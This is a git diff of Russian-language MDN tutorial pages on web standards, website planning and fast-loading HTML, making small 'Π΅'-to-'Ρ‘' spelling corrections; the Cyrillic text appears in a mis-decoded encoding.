index 7c74a04194..e7ab712e26 100644
--- a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html
+++ b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/Getting_started_with_the_web/Π’Π΅Π±_ΠΈ_Π²Π΅Π±_стандаΡ
<p dir="ltr"><strong>Π’Π΅Π±-стандарты</strong>Β - это Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для создания Π²Π΅Π± страниц. Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Ρ‹ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π² Π²ΠΈΠ΄Π΅ тСхничСской Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ (спСцификаций), которая точно описываСт ΠΊΠ°ΠΊ Ρ‚Π°, ΠΈΠ»ΠΈ иная тСхнология Π΄ΠΎΠ»ΠΆΠ½Π° Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ. ДокумСнтация Π½ΠΈΠΊΠ°ΠΊ Π½Π΅ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ описываСмыми Π² Π½Π΅ΠΉ тСхнологиями (Π²ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ сущСствуСт сайт MDN Web Docs). Она ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ ПО для внСдрСния Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉΒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹).</p>
-<p dir="ltr">Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ стандарт <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a>. Он описываСт ΠΊΠ°ΠΊΒ HTML (всС элСмСнты HTML, связанныС с Π½ΠΈΠΌΠΈ API ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹.</p>
+<p dir="ltr">Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ стандарт <a href="https://html.spec.whatwg.org/multipage/">HTML Living Standard</a>. Он описываСт ΠΊΠ°ΠΊΒ HTML (всС элСмСнты HTML, связанныС с Π½ΠΈΠΌΠΈ API ΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹.</p>
<p dir="ltr">Π’Π΅Π±-стандарты ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ организациями стандартов β€” институтами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ³Π»Π°ΡˆΠ°ΡŽΡ‚ Π³Ρ€ΡƒΠΏΠΏΡ‹ людСй ΠΈΠ· Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ для согласования Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ эффСктивным ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π² рассматриваСмых случаях. Бамая извСстная организация Π²Π΅Π±-стандартов -Β W3C. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅:Β <a href="https://whatwg.org/">WHATWG</a> (отвСтствСнны Π·Π° ΠΌΠΎΠ΄Π΅Ρ€Π½ΠΈΠ·Π°Ρ†ΠΈΡŽ языка html), <a href="https://www.ecma-international.org/">ECMA</a> (Π²Ρ‹ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ стандарты языка ECMAScript, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ построСн JavaScript), <a href="https://www.khronos.org/">Khronos</a> (ΡΠΎΠ·Π΄Π°ΡŽΡ‚ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ для 3D Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β WebGL).</p>
@@ -45,7 +45,7 @@ original_slug: Learn/Getting_started_with_the_web/Π’Π΅Π±_ΠΈ_Π²Π΅Π±_стандаΡ
<h3 dir="ltr" id="НС_Ρ€Π°Π·ΠΎΡ€Π²ΠΈ_ΡΠ΅Ρ‚ΡŒ">НС Ρ€Π°Π·ΠΎΡ€Π²ΠΈ ΡΠ΅Ρ‚ΡŒ</h3>
-<p dir="ltr">ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½Π°Ρ Π² области Π²Π΅Π±-стандартов Ρ„Ρ€Π°Π·Π° гласит: "Π½Π΅ Ρ€Π°Π·ΠΎΡ€Π²ΠΈ ΡΠ΅Ρ‚ΡŒ". Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ каТдая новая Π²Π΅Π±-тСхнология Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ совмСстима со всСми ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌΠΈ тСхнологиями (поэтому старыС сайты Π΄ΠΎ сих ΠΏΠΎΡ€ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚), ΠΈ со всСми ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ (Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π² послСдствии Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ совмСстимы с ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌΠΈΡΡ). Π’ процСссС изучСния прСдставлСнного здСсь ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π° Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΠΊΠ°ΠΊΠΈΠΌ образом это рСализуСтся.</p>
+<p dir="ltr">ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½Π°Ρ Π² области Π²Π΅Π±-стандартов Ρ„Ρ€Π°Π·Π° гласит: "Π½Π΅ Ρ€Π°Π·ΠΎΡ€Π²ΠΈ ΡΠ΅Ρ‚ΡŒ". Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ каТдая новая Π²Π΅Π±-тСхнология Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ совмСстима со всСми ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌΠΈ тСхнологиями (поэтому старыС сайты Π΄ΠΎ сих ΠΏΠΎΡ€ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚), ΠΈ со всСми ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌΠΈ (Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π² послСдствии Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ совмСстимы с ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌΠΈΡΡ). Π’ процСссС изучСния прСдставлСнного здСсь ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π° Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒΒ ΠΊΠ°ΠΊΠΈΠΌ образом это рСализуСтся.</p>
<h2 id="Being_a_web_developer_is_good">Being a web developer is good</h2>
diff --git a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
index c6ef10460d..69be6b47d2 100644
--- a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
+++ b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
@@ -26,7 +26,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l
<h2 id="ΠŸΠ΅Ρ€Π²ΠΎ-Π½Π°ΠΏΠ΅Ρ€Π²ΠΎ_ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠŸΠ΅Ρ€Π²ΠΎ-Π½Π°ΠΏΠ΅Ρ€Π²ΠΎ: ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ ΠΈΠ΄Π΅ΠΈ. Π§Ρ‚ΠΎ ваш Π²Π΅Π±-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ фактичСски Π΄Π΅Π»Π°Ρ‚ΡŒ? По сущСству, ваш Π²Π΅Π±-сайт ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½ΠΎ для вашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ простых Π²Π΅Ρ‰Π΅ΠΉ. ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с создания простой Π²Π΅Π±-страницы, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ нСсколько Π°Π±Π·Π°Ρ†Π΅Π².</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ ΠΊΠ°ΠΊ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ ΠΈΠ΄Π΅ΠΈ. Π§Ρ‚ΠΎ ваш Π²Π΅Π±-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ фактичСски Π΄Π΅Π»Π°Ρ‚ΡŒ? По сущСству, ваш Π²Π΅Π±-сайт ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½ΠΎ для вашСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ простых Π²Π΅Ρ‰Π΅ΠΉ. ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с создания простой Π²Π΅Π±-страницы, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ нСсколько Π°Π±Π·Π°Ρ†Π΅Π².</p>
<p>Для Π½Π°Ρ‡Π°Π»Π°, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ вопросы:</p>
@@ -71,7 +71,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² <a href="https://www.google.com/imghp?gws_rd=ssl">Google ΠšΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ</a>Β ΠΈ Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ подходящСС.</p>
<ol>
- <li>Когда Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ Π½Π΅ΠΌΡƒ.</li>
+ <li>Когда Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ Π½Π΅ΠΌΡƒ.</li>
<li>НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ <em>Π’ ΠΏΠΎΠ»Π½ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ (View image)</em>.</li>
<li>На ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ страницС, ΠΏΡ€Π°Π²Ρ‹ΠΌ Ρ‰Π΅Π»Ρ‡ΠΊΠΎΠΌ ΠΌΡ‹ΡˆΠΈ Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ (Ctrl + ΠΊΠ»ΠΈΠΊ Π½Π° Mac), Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ... (<em>Save Image As...)</em>, ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ мСсто для ΡΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΡΒ Π²Π°ΡˆΠ΅Π³ΠΎ изобраТСния. Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹, скопируйтС адрСс изобраТСния ΠΈΠ· адрСсной строки Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ использования.</li>
</ol>
@@ -91,7 +91,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡˆΡ€ΠΈΡ„Ρ‚:</p>
<ol>
- <li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° <a href="http://www.google.com/fonts">Google Fonts</a> ΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚Π΅ список Π²Π½ΠΈΠ·, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ понравится. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты управлСния справа для дальнСйшСй Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ².</li>
+ <li>ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° <a href="http://www.google.com/fonts">Google Fonts</a> ΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚Π΅ список Π²Π½ΠΈΠ·, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΡˆΡ€ΠΈΡ„Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ понравится. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты управлСния справа для дальнСйшСй Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ².</li>
<li>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ "плюс" рядом со ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ.</li>
<li>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅ "* Family Selected"Β Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ Π² Π½ΠΈΠΆΠ½Π΅ΠΉ части страницы. ("*" зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, сколько ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π²Ρ‹ Π²Ρ‹Π±Ρ€Π°Π»ΠΈ)</li>
<li>Π’ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌ ΠΎΠΊΠ½Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строки ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдоставляСт Google, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ·ΠΆΠ΅ Π² вашСм тСкстовом Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅.</li>
diff --git a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html
index 2c51073d15..5cbf27d355 100644
--- a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html
+++ b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html
@@ -6,7 +6,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
---
<p>Π­Ρ‚ΠΈ совСты основаны Π½Π° ΠΎΠ±Ρ‰ΠΈΡ… знаниях ΠΈ экспСримСнтах.</p>
-<p>ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ Π²Π΅Π±-страница Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ обСспСчиваСт Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ сайт для Π²Π°ΡˆΠΈΡ… посСтитСлСй, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ сниТаСт Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π½Π° ваши Π²Π΅Π±-сСрвСры ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-соСдинСния. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для сайтов с большим объСмом ΠΈΠ»ΠΈ сайтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ всплСск Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈΠ·-Π·Π° Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ послСдниС новости</p>
+<p>ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Π°Ρ Π²Π΅Π±-страница Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ обСспСчиваСт Π±ΠΎΠ»Π΅Π΅ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ сайт для Π²Π°ΡˆΠΈΡ… посСтитСлСй, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ сниТаСт Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π½Π° ваши Π²Π΅Π±-сСрвСры ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-соСдинСния. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для сайтов с большим ΠΎΠ±ΡŠΡ‘ΠΌΠΎΠΌ ΠΈΠ»ΠΈ сайтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ всплСск Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΈΠ·-Π·Π° Π½Π΅ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… ΠΎΠ±ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΡΡ‚Π², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ послСдниС новости</p>
<p>ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы Π½ΡƒΠΆΠ½Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ узкополосным ΠΌΠΎΠ΄Π΅ΠΌΠΎΠΌ ΠΈΠ»ΠΈ посСтитСлями ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅ Π²Π°ΠΆΠ½ΠΎ для ΡˆΠΈΡ€ΠΎΠΊΠΎΠΏΠΎΠ»ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡΠΌ Π΄Π°ΠΆΠ΅ для Π²Π°ΡˆΠΈΡ… посСтитСлСй с самыми быстрыми ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡΠΌΠΈ.</p>
@@ -16,7 +16,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages
<p>Π’Π΅Π±-страницы - бСзусловно, самый Π²Π°ΠΆΠ½Ρ‹ΠΉ Ρ„Π°ΠΊΡ‚ΠΎΡ€ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы.</p>
-<p>УмСньшСниС вСса страницы Π·Π° счСт устранСния Π½Π΅Π½ΡƒΠΆΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π², ΡˆΠΈΡ€ΠΎΠΊΠΎ извСстна как минимизация, ΠΈ пСрСмСщая встроСнный скрипт ΠΈ CSS Π²ΠΎ внСшниС Ρ„Π°ΠΉΠ»Ρ‹, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ с ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ потрСбностями Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… измСнСниях Π² структурС страницы.</p>
